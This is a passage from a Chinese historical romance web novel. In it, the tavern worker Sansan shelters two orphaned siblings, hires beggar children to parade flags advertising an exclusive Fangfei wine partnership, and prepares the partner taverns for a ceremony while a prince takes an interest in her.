“这味道一闻我就知道了,是不是酒楼旁边那家包子铺啊?”牛爷爷正费劲地打开正门的门栓,还没开门呢,就闻到了包子的香味。
三三见他费劲了半天都还没开门,便上前半步道:“爷爷您让开,这门栓不好拿走,让我撞一下就行了。”
牛爷爷嘿了一声,赶紧挪动了两步,三三听着他的声音,侧着身子用肩膀一撞,咔嚓一声,门顿时就开了。
“怎么不等您那两个学徒过来开门啊?”三三进门放下包子。
牛爷爷笑呵呵地过来拿包子:“等他们来了,来看病的人都得堵到街上啦。”
“那怎么不让人来修修这个门栓,您这费老劲的多累啊。”
“慢慢开就是了,我已经习惯了,就你是个急性子。”
三三笑了笑,又问:“那俩兄妹呢?起了吗?”
牛爷爷指了指后院:“起了,那小子起得比我还早,见我起了便问我有什么能帮忙干的,我便让他帮忙整理那些晒好的草药,现在估计忙的差不多了。”
三三唔了一声,拿了两袋包子起身去后院找孟岸。
那孟岸手脚利索得很,平日里那两个学徒要忙活半天的草药,他竟一下子就忙的七七八八了,草药整整齐齐地码在竹筐里面,看着就让人舒坦。
“孟岸,起这么早?孟双呢?起了吗?”三三将包子递过去给他。
孟岸
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手上沾满了草药,他也不讲究,直接在衣摆上擦了擦就接过包子:“孟双行了,外面冷,我让她别出来。”
三三瞧他身上那破破烂烂的单薄衣服,顿了顿,才道:“去找你妹妹吃包子吧,吃完我有事和你说。”
孟岸点头,三两步就直奔那小房间去,那小房间不大,平时用来存放草药的,牛爷爷这里只住了他一个人,也没有多余的房间。
三三回了前面,见牛爷爷还在吃包子,便问道:“牛爷爷,他俩身子怎么样?”
牛爷爷年纪大了,吃东西慢,吃一个包子的功夫三三能吃两个。
“大的那个被人打得不轻,得养个三五日,小的那个嘛,不足之症很严重,要是继续流浪下去,估计没两日可活了。”
三三沉默片刻,只道:“还请爷爷多照料照料他们,银子我出便是。”
牛爷爷抬起昏花的老眼,眼神里满是探究:“昨儿个我就想问了,你与他二人非亲非故,又是出钱又是看病的,你图啥啊?”
图啥?三三也想问自己,她本以为是自己看着那两兄妹可怜,加上手里也有点钱,所以才愿意去救济帮助他们,可如今再想,真的是这样吗?
三三不愿承认,是因为看着孟岸和孟双,就像看到了当初的自己。
如果没有老板娘买下她的话,说不定她也会成为到处流浪乞讨的小乞丐,也会在饿得不行的时候去偷、去抢……
“我……我吃完了。”孟岸带着孟双出来,他本想唤三三姐姐,但他不知道三三介不介意。
反倒是孟双因为年纪还小,没那么多顾虑,轻声唤了她:“姐姐。”
三三瞧着她擦干净的小脸,上前摸了摸,心里叹了口气,也不知道要养多久才能养出个人样。
三三见牛爷爷吃完了包子坐上了那往日看诊的软椅,便将兄妹二人带到了后院。
“孟岸,你这个伤还得再养几日,且在这住这吧,”三三牵着孟双干巴巴的小手,“我既然救了你二人,就不会轻易抛弃。”
孟岸沉默须臾,拉过妹妹扑通跪地:“恩人在上,请受我兄妹二人一拜。”
三三吓了一跳,赶紧将人给拉了起来,她蹲下身子,抱着孟双,见那小姑娘泪眼汪汪的,赶紧哄道:“哎哟你可别哭啊,姐姐就是想着拉你们一把,没想太多。”
孟岸是个男子,虽没像妹妹一样泪眼婆娑,但也还是红了眼眶:“自从家里出了事,往日那些亲戚都避我们如蛇蝎……”
三三无奈,只得起身拍了怕他肩膀以示安慰。
“墙倒众人推,你也别太往心里去,若是你爹真是被冤枉的,日后你长大成人了,也可想法子为他平冤。”
孟岸撇过头,不再言语。
三三哄了好一会孟双,这小姑娘才止住了哭,她这才想起了自己要问的正事。
“孟岸,你可认识什么比你大一点的小乞丐?”
孟岸转过头:“认识是认识,只是不知道你要用找他们干嘛?”
三三起身跺了跺脚,蹲久了脚有点麻:“跑城喊话,吆喝宣扬点事。”
孟岸眼睛顿时亮起:“有银子吗?”
“当然有,扛着旗子跑一圈东京城十文。”
孟岸急切出声:“那我呢?我能不能也领这份活?”
三三双手交叉抱胸,细细打量他这瘦胳膊瘦腿的,想说实话但怕伤了这小孩的自尊,只道:“你介绍人给我,可以给你十文的介绍费,至于你自己嘛,你有伤在身,不能跑,待你养好伤之后,我自有别的安排给你。”
孟岸眼神黯了黯,低声道:“好,我知道了,这就去给你找人。”
“等等,我们一起去。”三三见他转身就要走,赶紧喊了声。
“孟双,你就在爷爷这乖乖待这,姐姐和哥哥很快就回来了,”三三临出门前,把孟双给带到了牛爷爷身侧,“爷爷,您照看一会,我等会就回来。”
22. 乞丐做活
孟岸带着三三回了工坊,七绕八拐的,终于找到了一个小乞丐的聚集地——一个破败的城隍庙。
孟岸先是上前跟往日里一起乞讨的小乞丐们说明来意,见众人都不信,便退回到三三身侧。
三三仔细打量着这群十来岁的小乞丐们,倒是都比孟岸要强壮点,只是不知道能不能扛着旗子跑。
“你们可擅长跑?”三三看着小乞丐们问。
小乞丐们你瞧我我瞧你,都没轻易出声,倒是有个年纪稍大点的,看起来很会来事,见众人都不说话,便率先出声:“会啊,只是你说的跑东京城一圈十文,是不是真的?”
三三点头,瞧他模样虽然黑不溜秋的,但个子还挺壮。
“是真的,”三三拿出一贯钱在手上抛了抛,“我从不骗人,但问题是你们能不能扛着旗子跑东京城呢?”
那大个子见着那一贯钱,眼睛都发直了:“能!”
管他什么旗子,管他有多重,机不可失失不再来,先应下再说。
三三将钱往空中一抛反手接住,环视了一周其他的小乞丐,问道:“他能,你们也能吗?”
小乞丐们本来是不信的,但这人二话不说就拿出了一贯钱,而且杨大个子也答应了,当即纷纷跟着点头。
三三却是神秘一笑:“你们说能,万一到时候做不来怎么办?我这生意可是有要求的。”
那大个子当即直起了腰板,不知道是不是在街上见多了人做生意,也学着有模有样道:“我们也不是那等子不讲信用的乞丐,既然答应了,就一定想法子给你办成,只要你按时结钱就行。”
三三点点头,打量了一下这个破败的城隍庙,找了半天终于在香案底下找到了根差不多粗实的棍子,二话不说直接扔过去给那大个子。
“你扛着这根棍子,绕着城隍庙跑一圈我看看。”
棍子摔在地上,一下激起了众多灰尘,呛得那大个子都忍不住咳嗽了几声。
那棍子足有他手臂那么粗,但那可是十文钱啊!大个子瞧着那棍子就像是看到了金灿灿的铜子,咳了没两下当即就扛起那棍子往外跑了出去。
三三视线一直紧追着他,见这大个子没多久就跑下了一圈,等他扛着棍子回来时,人也只是微微喘气,当即高兴地赏了他五文钱。
“好小子,不错,就你了!”
其他小乞丐见他跑一圈就能得五文钱,当即纷纷表示自己也能跑,都抢着要去扛那棍子。
三三连连制止了他们:“我肯定是要看看你们能不能跑的,万一跑不来,耽误了你们性命不说,我这生意也做不了,所以,接下来,你们想要干这份活的,都得去跑一圈,当然,没有五文钱了,只有两文钱,愿意跑的就排好队挨个跑,不愿意的,我也不勉强。”
小乞丐们见五文钱骤然变成了两文钱,一时之间竟也不抢了,但握着棍子的手却没松。
三三也不急,就这么看着他们。
小乞丐们你看我我看你,都在犹豫着要不要去扛棍子。
好在没过多久,有一个脸上长满了麻子的乞丐先出了声:“我来扛,都让让。”
声音是从很后面传出来的,其他乞丐都纷纷回头。
“诶,你……”有个小乞丐不服,见人出声了自己也想扛,可一回头瞧见是那麻子,顿时松了手。
其他乞丐回头时见那说话的人脸上全是麻子,也都纷纷松了手。
三三见状,好奇地挑了挑眉。
孟岸轻声道:“这是刘麻子,因为脸上……大家都挺怕他的。”
三三点点头,开始全神贯注看那刘麻子扛棍跑。
这刘麻子体格虽然没有那大个子壮,但跑起来也不逊于那大个子,三三见他扛着棍子回到跟前,依言给了他两文钱。
其他乞丐这下也不犹豫了,纷纷自觉排好了队,挨个扛着棍子跑出去。
……
一通下来,三三总算定好了人选,这些乞丐总共有十六人,东京城主要有两大城区,可以分成两队,这样每队跑个半圈就行。
“今日下午旗子就能拿到,我下午先教你们背要喊的话,明儿个起,东西城区各八人,两人一个扛旗一个敲锣,分四小队,边跑边喊,中途累了可以换人。”
底下的小乞丐自觉坐成了一圈,三三站在中间,中气十足地给他们安排任务。
“之前说跑一圈东京城十文,现在改成了跑半圈,价格不变,希望你们能好好干活,日后若是还有这样的机会,我也还找你们干活。”三三道。
小乞丐们脸上都扬着笑,大声应道:“好!”
三三心情很是不错,准备下午拿了旗子就过来教他们怎么摇旗怎么喊话。
“我能叫你阿姐吗?”回去的路上,孟岸跟在三三身后,犹豫了好半天,终于鼓足了勇气开口。
三三正带着他打包羊肉粉呢,闻言笑道:“当然可以,孟双不也叫我姐姐吗,叫阿姐叫姐姐都行。”
孟岸眼神亮了亮,嘴角默默上扬。
三三付过钱,将打包好的羊肉粉给他。
“里面共三份,前面右拐直走就是同仁堂了,记住了就回去吧。”三三转身又喊老板煮了一份羊肉粉。
“你不一起回去吃吗?”孟岸问。
三三摆摆手:“不了,我还有活没干完。”
“哦对了,给你一两银子,”三三悄摸摸地借着羊肉粉袋子遮掩递过去给他,“天越发冷了,吃完带孟双去买身暖和一点的衣服。”
孟岸接过那银子,眼眶一下就红了。
三三赶紧掰着他肩膀往前面推:“快回去快回去,等下冷了就不好吃了。”
羊肉粉上得很快,三三吸溜了几根,突然想到,自己最近花钱花得真是不知节制,要是搁以前,她天天吃白馒头。
她夹起片羊肉,心满意足地嚼了起来,还是王爷的钱好赚啊。
“啊——阿嚏!”裴景明正练完剑,突然莫名其妙打起了阿嚏,把十一紧张得不行,赶紧拿过大氅给他批了上去。
“王爷,您还是赶紧穿上大氅吧,这天越来越冷了,您每次练完剑都要脱衣,伤寒了怎么办……”
裴景明见他这么啰嗦,忍不住笑着打断了他:“十一啊,你这何时染上了说话婆婆妈妈的习惯啊。”
十一顿时哽住了剩下的话,欲言又止地看着自家王爷。
裴景明笑了笑,很是听话地接过大氅系好,又窝回轮椅上装起了瘸子。
院子里的树大多都光秃秃的,风一吹枝上挂着的雪就簌簌往下掉,虽还是大中午,但太阳早已不见踪影,裴景明看着那挂雪的树枝就冷,连忙让十一推着自己回书房。
“近日那三三姑娘都在干什么?”裴景明随手从书架上拿了本书,刚一翻开就瞧见了上面第一行字是个三,便想起了那个很是活泼的姑娘。
外面突然又下起了雪,十一怕寒气入门,赶紧关上了书房的门。
“自打前日说要和杨老板他们合作,这两日都在忙活呢,昨日还去了工坊和染坊。”十一又把挨着书案边的窗户给关上了。
裴景明嗯了一声,又问:“是和哪几家合作来着?”
“百花
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、英雄还有秋月,这三家酒楼。”十一道。
裴景明点头,又道:“这阵子公主都没怎么来府上了,之前说要的桂花蜜也一直没来拿,你跑一趟宫里,把东西送过去,顺带告诉她,过两日宫外有热闹,想看的话让她来府上带上我一起去。”
前半段话十一听懂了,后一句没懂。
“为何要公主带您一起去?王爷自个不能去吗?”
裴景明抬起头,看着真诚发问的十一,无语片刻:“因为我俩一起去就是一份礼,分开去就是两份礼,懂了吗?”
十一又问:“是送杨老板的礼吗?”
“……我为什么要送他礼?左口袋进右口袋?”裴景明这下真的沉默了,但还是脾气很好地解释,“这合作仪式就是走个形式,我们去就是凑个热闹,既是凑热闹,当然要去来财酒楼凑了,他们可是芳菲酒的真正老板。”
“难道不是因为三三姑娘是来财酒楼的吗?”十一突然出声。
裴景明“啪”地将书合上,冲门口仰了仰下巴:“去干你活。”
十一偷笑了声,趁人没发火赶紧退了出去。
中午的雪来得突然,走得也突然,三三在羊肉粉铺子前躲了会雪,见雪停了,才小心迈着步子回酒楼。
“三三,你回来啦?”刘雁端了碗饭站在柜台边吃,见门口站了个人,还以为是来喝酒吃饭的。
“嗯,回来了。”三三拍了拍身上的寒气,又跺了跺脚。
刘雁朝她眨巴眨巴眼睛:“吃了没?今儿午饭吃萝卜炖猪脚哦。”
三三一停,本想说吃了的嘴立马闭上,把话给咽回了肚子才开口:“没吃,我这就去舀一碗。”
萝卜清香猪脚软烂,一抿就脱骨,当真是香得不行,三三感觉那碗羊肉粉白吃了。
潘师傅见她吃得香,又给她添了块猪脚:“多吃点啊三三,这两日你一直在外面跑,都饿瘦了。”
三三嗦着猪蹄,不好意思地笑了笑。
午时刚过,染织店的人就给送来了旗子,三三验过货之后,依言给了剩下的钱。
老板娘打开旗子,摸了又摸,连连感慨:“这手感真不错啊,只是怎么没旗杆啊?”
三三笑道:“旗杆要另外花钱的,那老板说可以找些粗壮的棍子套进专门留出的缝里就成。”
老板娘点头,又问:“旗子到了,可是匾额还得两日,这要如何是好?先让人吆喝?”
三三见时候不早了,边赶紧将旗子给打包好,边道:“对,先营造声势,放心,我都安排好啦!”
说着将包袱往身上一甩,直奔城隍庙去,棍子不着急,她见城隍庙那有几根,再去外面找找就成。
中午下的雪不大,没积雪,但地上湿滑,三三好几次都差点出溜打滑摔地上,保险起见,三三还是小心翼翼地弯了弯腰向前慢慢挪动。
等她挪到城隍庙时,已经申时过半了,三三赶紧招呼着小乞丐们去帮忙找棍子。
不多时,棍子很快就找齐了,三三带着他们把旗子给套好,按照先前说好的分成了两大队四小队,两人一组轮流扛旗敲锣。
“记住了你们要喊的话了吗?”三三站在城隍庙的台阶上,大声问底下的小乞丐们。
小乞丐们都很兴奋,挥着旗子大声应道:“记住了。”
三三满意地点点头:“明日辰时左右,你们就以来财酒楼起点向东京城两处跑开,一定记住了,边跑边喊边敲锣,午时再回到来财酒楼吃午饭,下午继续跑,晚饭也是回到来财酒楼吃饭结账,明白了吗?”
“明白啦!”
23. 巡城宣扬
昨夜没有下雪,今早地板还是干的,商贩们边忙碌着手边的活边感慨今年的雪。
“今年的雪不多,但每回下得都很大,也不知道会不会影响来年。”卖馄饨的老板娘不停地抖动着手里的汤勺。
蹲在她脚下的男人一个劲地往火坑里加柴,闻言叹了口气:“这谁说得准呢,且看老天爷吧。”
“诶诶,老头你快看。”老板娘轻踹了一下脚边的男人,示意他起身往外看。
“看什么啊?”男人起身一抬头,顿时张大了嘴,“嚯!这是要干啥啊?”
左邻右舍的商贩们也顺着男人的视线往外看,只见十六个小乞丐们雄赳赳气昂昂地扛着些旗子,目光直视前方,脸上的表情神气得不行,引得众人议论纷纷。
“这是要做啥啊?”
“不知道啊,谁知道呢,走走走,跟上去看看……”
“你等等我啊,我也去……”
有些好奇得不行的商贩甚至顾不上开张,跟在其他好奇的百姓后头一个劲地往前瞧。
待走到来财酒楼时,只见那群神气的小乞丐突然整整齐齐地停下,扛旗的统一扛在右肩上,敲锣的统一左手拿着锣鼓,既不东张西望,也不大喊大叫,就像军营里的士兵一样笔直地分散成两列站着。
三三在楼上看见这副场面时心里得意得不行,昨儿个可是费了老大劲才跟他们说好这队形,为此还每人多加了两文钱!
三三关好窗,嘴里哼着小曲就下楼往厨房去,让人干活,得先让人吃饱不是。
“潘师傅!包子蒸好了没啊?”三三掀开厨房的帘子问道。
“好了好了,现在就拿出去给他们吃!”潘师傅打开笼屉,拿过大盘子就开始捡。
“行,我来帮你。”
小乞丐们站在门口,街上围观的人越来越多,三三出来给他们分包子,便直接趁机宣传了起来:“父老乡亲们!大家早啊!”
“诶,三三,你这是干什么啊?搞那么大阵仗,是要再开一个酒楼吗?”怀里抱着个小孩的妇人大着胆子问道。
三三笑了笑:“诶大姐你猜对咯!不过只猜中了一半,不是要开一个酒楼,而是要跟其他酒楼合作!”
三三把手里的包子分完,拿过身侧那个小乞丐的锣鼓,站在人群中央,十分响亮地敲了一声锣。
“deng——”
“父老乡亲们!大家都知道,来财酒楼的芳菲酒在东京城也算小有名气,但无奈老板娘精力有限,故而每天都是限量卖酒。
这阵子经常有人跟老板娘哭诉,说大老远的跑来东京城就是想喝上这芳菲酒,无奈每次都赶不上,听得老板娘心里很是愧疚。念着大家这么多年来一直对来财酒楼的照顾,老板娘思量再三后,决定和百花楼、英雄楼和秋月楼合作,把芳菲酒的秘方独家传授给他们,这样大家就都能喝上正宗的芳菲酒啦!”
此话刚落,人群中顿时炸开了。
“嚯!”
“这李老板这是要卖秘方啊?”
三三耳朵灵着呢,赶紧上前解释道:“非也非也,这位兄弟,不是卖秘方,我们只是跟这三家酒楼合作,把秘方传授给他们,这样四家酒楼都能酿出正宗的芳菲酒。”
“那这跟卖有什么区别啊?”怀里抱着孩子的那个妇人又问。
“这位大姐,打个比方,我卖秘方给你,意思就是这个秘方只有你一人能用,其他人都用不了,我也卖不了给别人了,否则我就得赔你一大笔钱;而独家合作的意思就是,秘方可以告诉你,我们一起合作,但是你要给我每年都交一笔合作费,这合作费比卖的费用要便宜许多,所以你要保密,否则你就得赔我一笔钱。这么说,您懂了吗?”三三很是耐心地给她解释。
那妇人点点头,似懂非懂,抱着孩子掂了掂,腼腆笑了笑:“哦哦,原来如此。”
“我可不关心这什么费那个费的,我就想问,你们合作之后,这酒是便宜了还是贵了,是不是每日都不限量了?”
三三寻了半天这问话的人是谁,碍于视线有限,根本找不到这人,只好对着人群道:“乡亲们放心!芳菲酒的价格不会涨!原来是多少还是多少,来财酒楼跟往日一样每日只卖两百瓶,至于其他三家酒楼,会根据每日客人的需求来调整的!”
“总之!就是不会像以前一样,卖完今天的两百瓶就喝不上了!”
三三的话刚刚停下,又有个汉子涌上前问道:“那能保证其他酒楼芳菲酒的口感啥的跟来财酒楼的一样吗?”
三三敲了声锣,把周围叽叽喳喳的讨论声都给压了下去。
“大家伙儿请放心,芳菲酒就是芳菲酒,老板娘会亲自去教他们酿的,只有过了老板娘那一关才能上到您的桌上,口感什么的大家尽管放心!”
她话一落,周遭叽叽喳喳的声音又起来了,三三被人挤着差点把锣鼓都给甩掉了。
好在热闹没持续多久,大家伙跟着过来都是为了听一耳,三三又给人耐心解释了几回之后,人终于散得七七八八了。
拽着锣鼓的红绳缠绕着三三的手腕,不知不觉竟然勒出了血痕,三三绕了几圈才解开,结果发现有点破皮了,但她来不及给自己处理,因为吃饱喝足的小乞丐们都站一排瞪着大眼齐齐看着她。
三三把锣鼓还给那小乞丐,拍了拍他肩膀,问:“都吃饱了吧?”
“吃饱了!”小乞丐们的声音十分响亮,三三刚刚才从叽叽喳喳的声音中出来,眼下被这响亮的声音一震,感觉自己的耳朵有点聋了。
三三往后退了几步,不动声色道:“行,那就按昨天说好的跑城去吧。”
“好!”小乞丐们又是整齐一喊,这下三三还没来得及往后退呢,只见两排队伍跟风一样,扬着旗子噔噔就往前跑,边跑边喊:
“芳菲酒独家合作,百花英雄秋月见。”
三三听着远处传来响亮又整齐的喊声,心里十分满意,原地蹦跶了两下才反应过来自己还在外面,便故作矜持地背过手慢悠悠地回了酒楼。
事实证明,三三这一招跑城十分有效,整整一天,整个东京城都在议论这个芳菲酒独家合作的事情。不仅来来财酒楼喝酒吃饭的客人会问上那么一嘴,就连百花楼、英雄楼和秋月楼的客人见到小二都会问:“听说你们要和来财酒楼合作芳菲酒?”
小二们早已得了老板的吩咐,见客人一问,都纷纷宣扬了起来,一时之间,整个东京城的老少妇孺,张口闭口都是芳菲酒。
“芳菲酒独家合作,百花英雄秋月见。”裴景明听着十一带回来的消息,忍不住自己也念了一遍。
“你别说,这三三姑娘还真是有一套啊。”谢序川今日为了躲别人给他办的回京宴,一大早就来王府了。
“是挺有意思的,好像说过两日还要举办个合作仪式,要不要一同前去看看?”裴景明问道。
谢序川刚想问什么,裴景明就预判了他的话:“公主也去。”
谢序川沉默须臾,终于在喝完了手中的茶之后道:“我也去。”
裴景明眼底带上笑意:“这就对了嘛,老是躲着怎么建立感情?”
谢序川斜斜看了他一眼,笑着摇了摇头:“珩清,你的意思我明白,我觉得你说的十分有道理,放心吧,我会试着跟公主……”
他后面的话没说完,许是不好意思继续说下去,裴景明也不问,点到即止就行。
这两日天好,中午还会时不时出点太阳,早晨傍晚虽冷,但好在没有下雪,小乞丐们从早跑到晚,终于把芳菲酒合作这事给彻底宣扬了个够。这活虽然费劲,但管饭还能赚钱,三三给小乞丐们结账的时候,都大着胆子追着问三三以后还有没有这样的活。
“这可说不准,但你们放心,要是还有这样的活,我还找你们。”三三把钱分发完给他们,整了整旗子和锣鼓,准备抱回杂物间。
小乞丐们还想帮她
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抱回去,三三见天都黑了,便拒绝了他们。
“赶紧回去吧,要是下雪路就不好走了。”三三朝他们挥了挥手,小乞丐们见状便三三两两地结伴回去了。
“三三,明天的仪式都准备好了吗?”老板娘爬上梯子,张罗着牌子上的大红绸,见三三抱着旗子回来便问了一嘴。
三三应了声:“咱们这边的都准备好了,红绸灯笼什么的都挂上了,鞭炮也准备好了。”
她把旗子锣鼓放好,关上杂物间的门:“其他三家的,我昨儿个也跟他们老板说了,等下我再去看看。”
老板娘缓缓从梯子上下来,又问:“那到时候是他们三家都来我们这吗?”
三三倒了杯热水,刚喝两口就听见老板娘的问话,便握着热水杯子暖手:“对,到时候你们几个老板还要送一车芳菲酒出去。”
“送谁?”老板娘又问。
三三:“随便谁,到时你看谁顺眼你就给谁呗,送出去就行。”
见老板娘没再问了,三三终于能放心喝热水了。
三三本想去其他酒楼检查一番再回来吃饭,奈何她实在饿得很,放下杯子之后便直蹿厨房找吃的。
“潘师傅,今晚吃啥?”三三眼睛亮晶晶地看着正在烧饭的潘师傅。
潘师傅掀起眼皮看了她一眼,见她模样如此馋,忍不住笑道:“红烧排骨,就快好了,你可以先打饭,这样第一勺排骨就是你的咯。”
“!!”三三当即去洗手拿碗。
她打好了饭,端着碗,眼巴巴地站在潘师傅身后,逗得其他师傅都忍不住笑她。
“三三,你又不是没吃过排骨,怎么今儿这么馋?”一旁的瘦厨子阿叔笑问。
三三一手端碗一手拿筷子,没多余的手,只好摇了摇头,笑嘻嘻道:“不一样,刚出锅的第一勺排骨,我也不是总是能吃到,逮着机会了可不得抓紧。”
师傅们都乐得不行:“也是,那你可要多吃点啊,老潘,给她多舀点。”
潘师傅掌着大勺,打开盖子搅拌了几下,肉香顿时充斥了整个厨房,三三感觉自己的鼻腔里面都是排骨味。
她端着碗上前,潘师傅怕烫到她,伸手接了过来,另一手握着大勺下去舀,一勺子下去又上来,只见那勺子上舀了满满的肉,软烂多汁的排骨肉盖在香喷喷的米饭上,三三感觉自己肚子里的馋虫都要跑到嗓子眼上了。
潘师傅给她舀了满碗的肉,还给她浇了汁,三三接过碗,笑得见牙不见眼:“谢谢潘师傅!”
“快去吃吧,吃完不是还要出去吗?”潘师傅笑道。
三三点点头,端着碗就开始吭哧吭哧吃饭。
那排骨炖得真是软烂入味啊,三三走在街上,摸了摸肚子,十分满足。
今日是大寒,离除夕就还剩那么二十多天,街上的人越来越多,卖年货的、买年货的,好不热闹。
三三穿在人群中,这边看看瓜子花生各种炒料,那边瞧瞧杂技喷火胸口碎大石,不多时就到了百花楼。
那杨老板许是知道她要来,早早便带着人亲自布置了起来。
“哟三三姑娘,你可算来啦!”杨老板摊开扇子轻轻在胸前扇了扇。
三三不明所以,这大冷天的,有什么好扇的,也不怕给自己个给扇风寒了。
但她面上还是一副不理解但尊重的诚恳模样:“杨老板果然是杨老板啊,您这布置得简直了!”
其实跟来财酒楼一样,都是挂上大红灯笼和大红绸子,只不过他们还有块三三今日让人送过来的匾额——芳菲酒独家合作酒楼。
三三见他把匾额竖挂在招牌右下方,心中了然,百花楼虽然顶楼四楼也有块大招牌,但往日里百姓们见得最多的便是这门面上的招牌,匾额挂在这,足够显眼。
她正盯着小二们干活呢,杨老板不知道什么时候摇着那扇子悄悄凑近了她,低声道:“三三姑娘,你跟元安王什么关系啊?”
24. 正式开始
三三正寻思着怎么突然感觉到一股若有若无的冷风,一听这声,顿时了然,赶紧默默往后退了几步。
“没什么关系啊,”三三警惕地瞧着他手里的折扇,“元安王那是何等人也?皇亲国戚诶,我一普通的平民百姓怎么会跟他有关系呢?杨老板你莫不是被人给骗了吧?”
杨老板满脸不信,“唰”地一下收起折扇,神神秘秘道:“我可没有给人骗,我听说那元安王不仅从那群搞祭祀的贼人手里救了你,还把你接到他府上住了好几日,往日可没谁能轻易进那王府的。”
三三:“……”
三三:“有没有一种可能,我是配合他抓人所以才住到他府上呢?”
杨老板又是神秘一笑:“你看你看,还说没关系,这不就是合作关系嘛,那他事后有给你赏钱吗?”
三三莫名其妙地看了又看他几眼,这杨老板看起来一副儒雅书生模样,不成想竟是个脑子如此迂回复杂的人。
她被杨老板那神秘的眼神盯了又盯,终于无奈开口:“合作关系不给钱谁合作?当时是给了啊。”
杨老板这下终于不追问了,但总是会莫名其妙露出一些让人摸不着头脑的笑容。
三三感觉他今日有点不对劲,见百花楼这里布置得井井有条,便赶紧去英雄楼了。
英雄楼的阮老板干活十分利落,三三到时他早已布置完毕,还派了小二专门等着她过来检查。
“阮老板,您这布置得真好啊!”三三夸赞道。
阮老板笑着指了指那匾额:“三三姑娘,这匾额您看挂这合适吗?”
三三循着他手指的方向一看,只见那匾额竟然跟英雄楼的匾额并列,只是碍于尺寸,阮老板不得不将那匾额稍微向下挪了一点,但这显然诚意十足。
三三赶紧道:“阮老板,您这真是……真是太抬举我们来财酒楼了。”
阮老板笑眯眯地摆摆手:“不不不,我瞧来财酒楼日后定会做大做强,是我们英雄楼沾了您的光。”
三三被他一顿夸赞,感觉下一瞬就能在东京城的各大酒楼里面横着走了。
“阮老板,您这布置得甚好甚好,天色不早了,明儿个还有仪式,您早点休息,我还得去趟秋月楼呢。”
阮老板作势要送,三三赶紧拦住了他,趁他没反应过来就先走了。
“三三姑娘您来了啊,”秋月楼的小二早早就在门外候着,老远瞧见了三三就赶紧迎了上去,“您用过饭了吗?老板今儿个有点忙,这仪式布置还差点才能完成呢。”
三三抬头向秋月楼那边望去,只见店里的好几个伙计都在忙着挂灯笼拉红绸。
“我吃过了,不用管我,你们忙就是,若是需要我帮忙,尽管开口就成。”
那小二笑了笑:“哪能让您亲自动手,老板都吩咐好了。”
三三边走边看伙计们布置,见那挂灯笼的梯子似是不稳,伙计爬上去的时候颤颤巍巍的,三三便过去给他扶着梯子,那伙计感激地冲三三道:“多谢三三姑娘。”
三三笑道:“不谢,快挂吧。”
“三三姑娘来了啊?”邱老板是个正常人,之前见她的时候手里还拿着团扇,今日再一见,人家手里抱着个套棉布的汤婆子,“可用过饭了?”
“吃啦吃啦,我就是来看看您这边需不需要帮忙。”
邱老板见她扶着梯子的手通红,皱了皱眉,待挂好灯笼伙计撤走梯子时,她一把拉过三三的手,将那汤婆子塞到了三三手里:“冬日这般寒冷,怎么你穿得这样薄?手上也没个保暖的玩意。”
三三早已习惯了冬日里的寒冷,乍一摸着这暖得跟火炉似的汤婆子,还有点不习惯。
“我年轻体热,也不是很薄,都习惯啦。”三三捂了没一会,生怕那汤婆子给她捂冷了,赶紧给人塞了回去,笑道,“谢谢邱老板的汤婆子。”
邱老板看着她:“再年轻也经不起折腾,你自个要留心。”
三三站在下方看伙计挂匾额,笑道:“我知道了。”
伙计们干活都很利索,没一会就弄好了。
邱老板招呼着伙计将那独家合作的匾额挂在秋月楼一旁,这样一眼瞧过去就能看到两块匾额了。
三三想了想,觉得这样有点喧宾夺主,便道:“邱老板,这独家合作的匾额放在秋月楼的匾额下方一点就成,不用挨着。”
邱老板抱着汤婆子,侧身瞧她:“挨着不行吗?”
“邱老板,您这边是东道主呀,我们就是合作关系,虽然双方地位平等,但在您的地盘上……”三三笑了笑,没再继续说下去。
邱老板手指轻轻瞧着汤婆子,抬头看那抬着匾额的伙计:“往下一点,对,再下面一点,就挂这。”
三三满意地点点头,见布置的都差不多了,便将跟前面几位老板交代的话又说了一遍。
“明日巳时,请邱老板到来财酒楼,到时候几位老板一起给乡亲们分发芳菲酒,这合作仪式也算成了。”
邱老板正准备点头应好,突然北风乍起,吹得她头发都扬了起来,冷风直往脖子里钻,她连忙缩回酒楼门后,又问:“我用带什么去吗?”
三三被风吹得缩了缩脖子,但很快恢复自然,笑道:“不用,该准备的来财酒楼都准备好了,您按时到就行。”
邱老板应了声好,三三瞧着风越来越大,怕下雪,打过招呼之后便赶紧回去了。
“三三回来了吗?”老板娘见外面的大风吹得呼呼作响,仿佛像那深渊巨兽张口就要吞了整条街。
李大力头也不抬继续奋力扫地,只道:“还没,三个酒楼跑下来哪有那么快啊,估计还要点时间。”
老板娘揣着手,时不时就探出脑袋往门外瞅。
等了好一会,老板娘终于在乍响的北风中听见了三三的声音。
“老板娘您在这做什么啊?”
老板娘的眼睛被风吹得睁不开,她往后缩了缩身子,微微张开了点,见人终于回来了,下意识没好气道:“做什么?等你呗,你跑个酒楼怎么那么久?出门也不穿厚点,万一下雪了怎么办?”
三三蹬蹬几步就跑了回来,眼疾手快地关上门,将那寒气阻挡在了门外。
“出门前没想到啊,这谁知道突然刮起大风?”三三双手来回交错地搓个不停,双脚也左右交换着蹦来蹦去。
老板娘看了她一眼,没再数落她,又问:“那几家酒楼都布置好了没?”
“好了好了,我都盯着呢,明日巳时他们就都来了,舞狮队我也早请了,要分发的芳菲酒也都准备好了。”三三双手靠拢在嘴边,哈了口气又继续搓。
老板娘点点头,又看向正在打扫的李大力和刘雁。
“明日的事情比较多,你们多费点心,忙完了自有打赏。”
李大力和刘雁连连应好,三三靠在门边也跟着应好。
老板娘见她还在搓手,把她叫上了楼。
“诺,这是给你的。”老板娘从衣柜里翻出双枣红色的棉手套,一把丢进三三怀里。
三三接过来一看,还是新的,她笑着问:“这是给我买的?”
老板娘语气有点生硬:“不然呢,给猪吗?”
三三忍不住大笑了起来,老板娘就是这样,刀子嘴豆腐心。
“行,谢谢啊。”三三爱不释手地摸了又摸,老板娘看不下去了,让她滚回去自己房里摸个够。
昨夜的北风狂得很,好些灯笼都被吹掉了,三三一早起来推开窗就看到街上各处散着七零八落的灯笼,甚至有些不牢靠的棚子都将将吹掉了半块。三三特意往上次挂黄布的那棵枯树边上看了一眼,发现什么都没有,看来先生还是没有回来。
好在风大是大,但没下雪,今日街上的地板都很干爽,舞狮队的人早早就来了,三三让厨房给他们弄了点吃食,暖和暖和身子再干活。
老板娘今日穿上了十来年都没穿过的红炮子,甚至还上了点淡妆,三三差点认不出来。
“老板娘,你今日怎么想起来上妆啊?”三三好奇地问道。
